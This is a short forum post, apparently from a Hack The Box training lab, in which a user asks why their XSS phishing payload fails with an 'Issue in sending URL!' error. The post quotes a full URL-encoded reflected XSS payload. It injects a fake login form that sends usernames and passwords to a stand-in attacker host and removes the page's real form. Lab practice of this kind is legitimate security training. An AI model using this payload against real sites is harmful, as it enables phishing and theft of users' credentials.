HTB phishing challenge

[mohnasa]

Hi there

I am trying to figure out how to perform XSS phishing challenge on HTB.
My payload is like below

http://SERVER-IP/phishing/index.php?url='><script>document.write('<h3>Please+login+to+continue<%2Fh3><form+action%3Dhttp%3A%2F%2FCLIENT-IP%3A8000><input+type%3D"username"+name%3D"username"+placeholder%3D"Username"><input+type%3D"password"+name%3D"password"+placeholder%3D"Password"><input+type%3D"submit"+name%3D"submit"+value%3D"Login"><%2Fform>')%3Bdocument.getElementById('urlform').remove()%3B<%2Fscript><!--

Note: I already changed the Server and client IP.

Error: Issue in sending URL!

How to beat it?

Thank you